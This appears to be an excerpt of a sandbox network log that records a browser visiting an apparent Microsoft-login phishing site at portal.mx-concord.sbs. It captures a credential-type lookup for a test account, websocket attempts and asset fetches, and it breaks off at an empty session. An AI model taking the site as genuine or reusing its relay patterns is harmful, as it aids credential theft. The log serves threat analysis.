2024-08-28 20:21:19 UTC	709	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: portal.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://portal.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0 Sec-WebSocket-Key: 7WfLBKiJXG8fRHw71fpy1Q== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:21 UTC	742	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: f87b7e99-8e51-442f-a0a0-9fecb8e0be01 x-ms-ests-server: 2.1.18794.6 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49790	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:19 UTC	840	OUT	GET /Prefetch/Prefetch.aspx HTTP/1.1 Host: 2380eb27-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:21 UTC	485	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache x-ms-correlation-id: ec2f06ed-8222-4daa-9fba-3af764a996aa x-ua-compatible: IE=Edge x-cache: CONFIG_NOCACHE x-msedge-ref: Ref A: E1122436E57849C3B599580D769C3EEB Ref B: VIEEDGE3417 Ref C: 2024-08-28T20:21:21Z access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:21 UTC	1252	IN	Data Raw: 34 64 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 Data Ascii: 4dd<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404
2024-08-28 20:21:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49791	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:22 UTC	709	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: portal.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://portal.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0 Sec-WebSocket-Key: FhqX3rAASo6FT+DHIY5tpw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:24 UTC	739	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 02fd58c3-bc20-44b7-a274-ad87637d9500 x-ms-ests-server: 2.1.18794.6 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49792	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:25 UTC	709	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: portal.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://portal.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0 Sec-WebSocket-Key: MGkUI6CjhVEeCAnSkbUSYQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:26 UTC	742	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: d327da2a-6c6e-481b-8352-f465a76f4b00 x-ms-ests-server: 2.1.18794.6 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49787	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:25 UTC	797	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:26 UTC	672	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:26 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543316 cache-control: public, max-age=31536000 etag: 0x8DB5C3F4982FD30 last-modified: Wed, 24 May 2023 10:11:48 GMT x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 15006c13-d01e-0026-0c5a-7e3119000000 x-ms-version: 2009-09-19
2024-08-28 20:21:26 UTC	2679	IN	Data Raw: 61 37 30 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e Data Ascii: a70GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~
2024-08-28 20:21:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49785	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:25 UTC	1267	OUT	POST /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: portal.mx-concord.sbs Connection: keep-alive Content-Length: 1328 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: d327da2a-6c6e-481b-8352-f465636b4b00 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: dddaecca-72d1-4acb-80fd-0bde3831295e canary: PAQABDgEAAAApTwJmzXqdR4BN2miheQMYYcYmOOZXcJAAoFmldbflbZCYLXvtRF7_UWNhBPey6NghCWUoDnkDA92jPZNGKQQZ_aCcOHtq5c83JAos86dpzP_2ft2Y60mP0BhAmfFfEvGHRGR2dNf_ANvjyg8tX1zqvGneAgZulbkftjPHnw6vC4oL4fDFnakySQ_yDjz-qvXH13CejQHJ4c2tbqUeJrjiLAG_KKIA27sLZSiW0QWN9CAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 2101 sec-ch-ua-platform: "Windows" Origin: https://portal.mx-concord.sbs Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://portal.mx-concord.sbs/?lit=up&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0
2024-08-28 20:21:25 UTC	1328	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 6f 62 40 67 6d 61 69 6c 2e 63 6f 6d 22 2c 22 69 73 4f 74 68 65 72 49 64 70 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 63 68 65 63 6b 50 68 6f 6e 65 73 22 3a 66 61 6c 73 65 2c 22 69 73 52 65 6d 6f 74 65 4e 47 43 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 69 73 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 53 68 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 69 64 6f 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e 61 6c 52 65 71 75 65 73 74 22 3a 22 72 51 51 49 41 52 41 41 34 32 4b 77 30 73 6b 6f 4b 53 6b 6f 74 74 4c 58 4c 38 67 76 4b 6b 6e 4d 30 63 76 4e 54 43 37 4b 4c 38 35 50 4b 38 6e 50 79 38 6e 4d 53 39 56 4c 7a 73 5f 56 79 79 39 4b 7a 30 77 42 73 59 71 45 75 41 52 4f 76 62 6c 31 39 32 Data Ascii: {"username":"bob@gmail.com","isOtherIdpSupported":true,"checkPhones":false,"isRemoteNGCSupported":true,"isCookieBannerShown":false,"isFidoSupported":true,"originalRequest":"rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAROvbl192
2024-08-28 20:21:28 UTC	825	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:27 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" client-request-id: dddaecca-72d1-4acb-80fd-0bde3831295e x-ms-request-id: 02fd58c3-bc20-44b7-a274-ad878e7d9500 x-ms-ests-server: 2.1.18794.6 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:28 UTC	1294	IN	Data Raw: 35 30 37 0d 0a 7b 22 55 73 65 72 6e 61 6d 65 22 3a 22 62 6f 62 40 67 6d 61 69 6c 2e 63 6f 6d 22 2c 22 44 69 73 70 6c 61 79 22 3a 22 62 6f 62 40 67 6d 61 69 6c 2e 63 6f 6d 22 2c 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 35 2c 22 49 73 55 6e 6d 61 6e 61 67 65 64 22 3a 66 61 6c 73 65 2c 22 54 68 72 6f 74 74 6c 65 53 74 61 74 75 73 22 3a 30 2c 22 43 72 65 64 65 6e 74 69 61 6c 73 22 3a 7b 22 50 72 65 66 43 72 65 64 65 6e 74 69 61 6c 22 3a 36 2c 22 48 61 73 50 61 73 73 77 6f 72 64 22 3a 74 72 75 65 2c 22 52 65 6d 6f 74 65 4e 67 63 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 46 69 64 6f 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 51 72 43 6f 64 65 50 69 6e 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 53 61 73 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 43 65 72 Data Ascii: 507{"Username":"bob@gmail.com","Display":"bob@gmail.com","IfExistsResult":5,"IsUnmanaged":false,"ThrottleStatus":0,"Credentials":{"PrefCredential":6,"HasPassword":true,"RemoteNgcParams":null,"FidoParams":null,"QrCodePinParams":null,"SasParams":null,"Cer
2024-08-28 20:21:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49793	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:26 UTC	791	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:27 UTC	672	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:27 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543354 cache-control: public, max-age=31536000 etag: 0x8DB5C3F492F3EE5 last-modified: Wed, 24 May 2023 10:11:48 GMT x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 0c7f7463-301e-0090-405a-7ebd51000000 x-ms-version: 2009-09-19
2024-08-28 20:21:27 UTC	3627	IN	Data Raw: 65 32 34 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 Data Ascii: e24GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`
2024-08-28 20:21:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49794	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:27 UTC	557	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:28 UTC	672	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:28 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543318 cache-control: public, max-age=31536000 etag: 0x8DB5C3F4982FD30 last-modified: Wed, 24 May 2023 10:11:48 GMT x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 15006c13-d01e-0026-0c5a-7e3119000000 x-ms-version: 2009-09-19
2024-08-28 20:21:28 UTC	2679	IN	Data Raw: 61 37 30 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e Data Ascii: a70GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~
2024-08-28 20:21:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49795	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:28 UTC	551	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:29 UTC	672	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:29 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543356 cache-control: public, max-age=31536000 etag: 0x8DB5C3F492F3EE5 last-modified: Wed, 24 May 2023 10:11:48 GMT x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 0c7f7463-301e-0090-405a-7ebd51000000 x-ms-version: 2009-09-19
2024-08-28 20:21:29 UTC	3627	IN	Data Raw: 65 32 34 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 Data Ascii: e24GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`
2024-08-28 20:21:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49796	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
